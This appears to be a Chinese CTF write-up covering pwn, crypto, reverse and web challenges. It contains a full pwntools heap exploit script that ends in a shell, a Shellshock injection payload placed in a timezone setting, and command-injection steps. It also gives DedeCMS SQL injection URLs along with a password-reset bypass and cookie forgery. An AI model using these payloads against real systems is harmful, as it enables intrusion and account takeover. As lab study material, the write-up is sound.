PWN1:smallest 这题是特意用汇编写的,应该是目前大小最小的题目了。 相比起其他逆向一看满天乱七八糟的算法,这个题目简直就是ctfer的福音啊。 看看多么简洁的代码。
光秃秃的一个栈溢出。 此程序不依赖libc,也就是说不能ret 2 libc了。 那么有2个方案,一个是ret 2 vdso,另一个就是srop了。 鉴于不给vdso,SROP就成了唯一的选择 https://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ http://0x36.blogspot.hk/2014/06/sigreturn-rop-exploitation-technique.html 这两个文章可以看看,另外freebuf上面还有一篇介绍也可以看看。 其实就是在栈上构造一个frame,然后把rax设置成0xf跳syscall就可以了。 然后寄存器会设置好我们的参数。
愉快的拿shell。
Crypto1-指令 题目的核心思路是RSA和MD5的逆向
OD加载先搜字符串,可以看到一串超长的字符串和一个success, 跟进success,向上拉发现花指令,
想办法去除花指令,然后将程序扔到IDA,转到401d90(main函数)
首先限定了输入成都是32并且都是字母或者数字
这里可以看到将输入的字符四个一组执行了一些的操作
跟进分析 402320是一个变形的MD5
初值设成了 0Xe64a1e5f,0x8220d0cb,0x3aa9ad15,0xbv6b9a87
计算的操作没变,但是常数
变成了 abs(sin(1 + loc + cos(loc + 1)))*((unsigned)(-1)); 然后看RSA
七个字符计算一次RSA,N=2122315007,E=65537 ,将每次计算的RSA拼接起来是最开始的图种那个很长的字符串就通过了 逆向求解步骤如下: 1.dump那段很长的字符串 2.解密rsa 数很小,d = 1505375297,一共8次,算出8个md5值 3.计算MD5的字典,62^4个 4.比对拼接答案就出来了
Reverse1-登山者 题目的核心思路是在一个只能向下走的网格中找到路径上数和最大的路线
核心函数有两个4013a0进行了数据初始化,4016c0进行输入的验证
这里限制了输入串第170位是 ‘\0’不出意外就是长度为169
可以看到这里从 v16初值为7494817189
V16每次减去v13,循环结束后小于0则成功 V13是1014长度的二维数组里的一个数 每次取当前行的第v2个数的第v1%6位 V2是输入的key对应的一个数
转到4013a0可以看到数据在这里进行初始化 二维数组48a084的数据由此初始化
这里将字符串” 0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM”随机化并赋予每个字符一个位置信息然后保存在了map中 综合考虑以上信息可以知道,程序在二维数组中0.0开始,每次向下或右下一格移动,计算路径上的和大于等于7494817189,输入的key是向下还是右下移动的依据,因此寻找最大的路径既是问题的解。
Reverse2-Crackme1
很容易找到关键判断逻辑
一排AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA输入进去之后发现是16个相同的结果,怀疑是两个为一组进行计算,并且互相独立。AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD 试了一下发现确实是互相独立。然后爆破就好 对应表: 000102030405060708090A0B0C0D0E0F1011 0x2f,0x86,0xfd,0xbc,0x5b,0x92,0x69,0x8,0x7,0x3e,0x35,0x14,0x53,0x4a,0x1,0x60,0x9f,0x36, 12131415161718191A1B1C1D1E1F20212223 0x6d,0xec,0xb,0x82,0x19,0xf8,0xb7,0x2e,0x25,0x84,0x43,0xba,0xb1,0xd0,0xcf,0xa6,0x1d,0xdc, 2425262728292A2B2C2D2E2F303132333435 0x7b,0xb2,0x89,0x28,0xa7,0xde,0x55,0x34,0xf3,0x6a,0xa1,0x0,0x3f,0xd6,0xd,0xc,0xab,0x22, 363738393A3B3C3D3E3F4041424344454647 0xb9,0x18,0x57,0x4e,0x45,0xa4,0x63,0xda,0x51,0x70,0x6f,0xc6,0x3d,0xfc,0x9b,0xd2,0xa9,0x48, 48494A4B4C4D4E4F50515253545556575859 0x47,0x7e,0x75,0x54,0x93,0x8a,0x41,0xa0,0xdf,0x76,0xad,0x2c,0x4b,0xc2,0x59,0x38,0xf7,0x6e, 5A5B5C5D5E5F606162636465666768696A6B 0x65,0xc4,0x83,0xfa,0xf1,0x10,0xf,0xe6,0x5d,0x1c,0xbb,0xf2,0xc9,0x68,0xe7,0x1e,0x95,0x74, 6C6D6E6F707172737475767778797A7B7C7D 0x33,0xaa,0xe1,0x40,0x7f,0x16,0x4d,0x4c,0xeb,0x62,0xf9,0x58,0x97,0x8e,0x85,0xe4,0xa3,0x1a, 7E7F808182838485868788898A8B8C8D8E8F0x91,0xb0,0xaf,0x6,0x7d,0x3c,0xdb,0x12,0xe9,0x88,0x87,0xbe,0xb5,0x94,0xd3,0xca,0x81,0xe0, 909192939495969798999A9B9C9D9E9FA0A1 0x1f,0xb6,0xed,0x6c,0x8b,0x2,0x99,0x78,0x37,0xae,0xa5,0x4,0xc3,0x3a,0x31,0x50,0x4f,0x26, A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3 0x9d,0x5c,0xfb,0x32,0x9,0xa8,0x27,0x5e,0xd5,0xb4,0x73,0xea,0x21,0x80,0xbf,0x56,0x8d,0x8c, B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5 0x2b,0xa2,0x39,0x98,0xd7,0xce,0xc5,0x24,0xe3,0x5a,0xd1,0xf0,0xef,0x46,0xbd,0x7c,0x1b,0x52, C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7 0x29,0xc8,0xc7,0xfe,0xf5,0xd4,0x13,0xa,0xc1,0x20,0x5f,0xf6,0x2d,0xac,0xcb,0x42,0xd9,0xb8, D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9 0x77,0xee,0xe5,0x44,0x3,0x7a,0x71,0x90,0x8f,0x66,0xdd,0x9c,0x3b,0x72,0x49,0xe8,0x67,0x9e, EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFB 0x15,0xf4,0xb3,0x2a,0x61,0xc0,0xff,0x96,0xcd,0xcc,0x6b,0xe2,0x79,0xd8,0x17,0xe,0x5,0x64, FCFDFEFF 0x23,0x9a,0x11,0x30 需要的结果: 0x3c,0x81,0x64,0x30,0xe8,0xee,0xa,0x90,0x20,0x1b,0x46,0x52,0xc8,0x20,0xfe,0xd4,0x8c,0xfe, 剩下的就是替换下得到flag。
Web1-where is my cat SSL information leakage: 直接访问首页,发现使用的是https连接,忽略证书错误后,访问首页: 然后看一下cookie,发现cookie中有一个特殊的键:HOST。然后脑洞到题目的意思是让你猜测这个网站真正的domain name。因为ssl证书中包含有相关域名信息, 然后设置Cookie中HOST=where_is_my_cat.ichunqiu.com即可获取flag。
Web2-mail 1、打开网站,弱口令猜解,admin/admin 进入后台
存在添加通知和系统设置功能,没发现什么问题。 2、存在网站代码备份,可以下载源码
3、审计发现可能存在破壳漏洞 inc/config.php中 $timezone = getConfig('timezone'); if($timezone != "") { putenv("TZ=$timezone"); }else{ putenv("TZ=Asia/Shanghai"); } 可以设置系统时区。 send.php 中 mail可以触发破壳漏洞
/options.php 系统设置处可以更改 timezone 的值
然后发送邮件 http://192.168.1.137/send.php?id=1 发现并没有成功反弹,猜测有可能不能上外网。 4、继续发现robots.txt
发现存在upload 目录,测试向upload 写文件。 POST &config[root_path]=/var/www/html&config[send_mail]=admin@ctf.com&config[timezone]=() { :;}; echo test >/var/www/html/upload/test.txt;
5、获取flag
PWN2-hiddenlove 本题只有一个结构体, 如下:
typedef struct love
{
int64_t size;
char name[8];
char *words;
}
size 是字符串 words 的长度。
题目有 add edit delete 等操作, 具体漏洞如下 1.4.1 一字节溢出
自己定义的 read 函数会在末尾多加一个”\x00”字节, 造成 off by one.
这个函数会在读入 name时候用到,所以可以将 words 指针最后一字节覆盖为\00。
但是 words 的堆地址高于 love_struct 的堆地址,且只有一次 edit 和 delete 的机
会。并不能进行 unlink 或者达到任意地址写。
1.4.2 输入缓冲区缓存
注意到选项 4 有个 scanf()输入操作,
且程序没有 setbuf(stdin,0),所以可以利用之前碰到的一个 ubuntu16.04( 或
者更高版本) 上的 libc( 2.23) 特性: scanf 的输入流没刷新的话会在堆上分配一
块空间缓存。
这样一来我们就可以在 scanf 的时候布置好 chunk 头,使其正好是 words 的
大小且 malloc 后地址最后一字节是\x00。 而这个地址又在 love_sruct 的上面, 这
样通过 free 的时候可以把这个块放到 unsort bin 中, 等下次分配的时候就会将
love_struct( 0x18 字节, fastbin) 包含在里面了。 接着写入 words 内容的时候可
以将 words 在 love struct 的地址修改为任意地址,达到任意写。
这里是将其修改为 atoi_got 的地址,从而 edit 的时候可以将其改为 printf_plt, [mw_shl_code=applescript,true]from pwn import *
p = process("./hiddenlove")
elf = ELF("hiddenlove")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
printf_plt = elf.plt['printf']
editflag = 0x602094
def add(size,content,name):
p.recvuntil("her feet")
p.sendline("1")
p.recvuntil("(0~1000)")
p.sendline(str(size))
p.recvuntil("with her")
p.send(content)
p.recvuntil("name")
p.send(name)
def edit(content):
p.recvuntil("her feet")
p.sendline("2")
p.recvuntil("feelings")
p.send(content)
def delete():
p.recvuntil("her feet")
p.sendline("3")
def stdin_buf(data):
p.recvuntil("her feet")
p.sendline("4")
p.recvuntil("N)")
p.sendline(data)
stdin_buf("N".ljust(0xfe0,"\x41") + p64(0) + p64(0x71))
add(32,"data","a" * 8)
delete()
payload = p64(0) * 3 + p64(0x21) + p64(0x80) + "a" * 8 + p64(atoi_got)
add(96,payload,"name")
edit(p64(printf_plt)[:-1])
p.recvuntil("her feet")
ss = raw_input()
p.send("aaa%7$s;" + p64(puts_got))
p.recvuntil("aaa")
puts_addr = u64(p.recvuntil(";")[:-1].ljust(8,"\x00"))
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
log.success("system address = " + hex(system_addr))
p.recvuntil("her feet")
p.send("%7$n;;;;" + p64(editflag))
p.recvuntil("her feet")
p.sendline("a")
p.recvuntil("feelings")
p.send(p64(system_addr)[:-1])
p.recvuntil("her feet")
p.sendline("/bin/sh\x00")
p.interactive()[/mw_shl_code] Web3-写一写看一看 1、分析源码,可发现存在命令注入,但是有正则表达式的过滤,但是$可以允许换行符的存在。所以可以使用换行符来实现正则绕过; 2、虽然可以执行命令,但是存在两个问题:服务器不能外连,命令只能是数字字母。解决方法是使用wget命令下载服务器本身的index.php,下载地址不使用点分十进制,而是使用IP的完全十进制表示法; 3、首先我们利用首页的修改功能加首页修改为最终的利用代码,如下: <?php include("../flag.php"); file_put_contents("flag.txt",$flag); ?> 4、然后我们使用wget命令下载本地的index.php中的代码内容,但是因为保存的内容是index.html,所有不能直接执行,我们需要在tmp下新建一个目录并保存该index.html,然后使用tar将该目录打包成归档文件,最终使用php执行该归档文件(相当于是phar) 5、最终的攻击url是:
Web4-得得得 1、注册前台用户
http://127.0.0.1:8080/dede56/member/
2、发现存在历史漏洞 http://127.0.0.1:8080/dede56/member/ajax_membergroup.php?action=post&membergroup=1%20union%20select%20pwd%20from%20dede_admin
注出管理员密码无法破解。 3、审计代码,利用漏洞重置管理员前台密码 dede56\member\resetpassword.php
这个里有小技巧,默认情况下,管理员的safequestion为0,但empty($safequestio) 为真,使条件不成立,因此可以提交 0.0 绕过。 http://127.0.0.1:8080/dede56/member/resetpassword.php POST dopost=safequestion&safequestion=0.0&safeanswer=&id=1 注意转跳
4、发现管理员不能在前台登陆。利用cookie欺骗登陆管理员前台 http://127.0.0.1:8080/dede56/member/ajax_membergroup.php?action=post&membergroup=1 union select value from dede_sysconfig where varname=0x6366675F636F6F6B69655F656E636F6465 查询出cfg_cookie_encode 的值。
[mw_shl_code=python,true]function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}[/mw_shl_code]
更改 DedeUserID__ckMd5 和 DedeUserID
成功登陆
5、前台更改后台密码 http://127.0.0.1:8080/dede56/member/edit_baseinfo.php
6、登陆后台,查看flag
|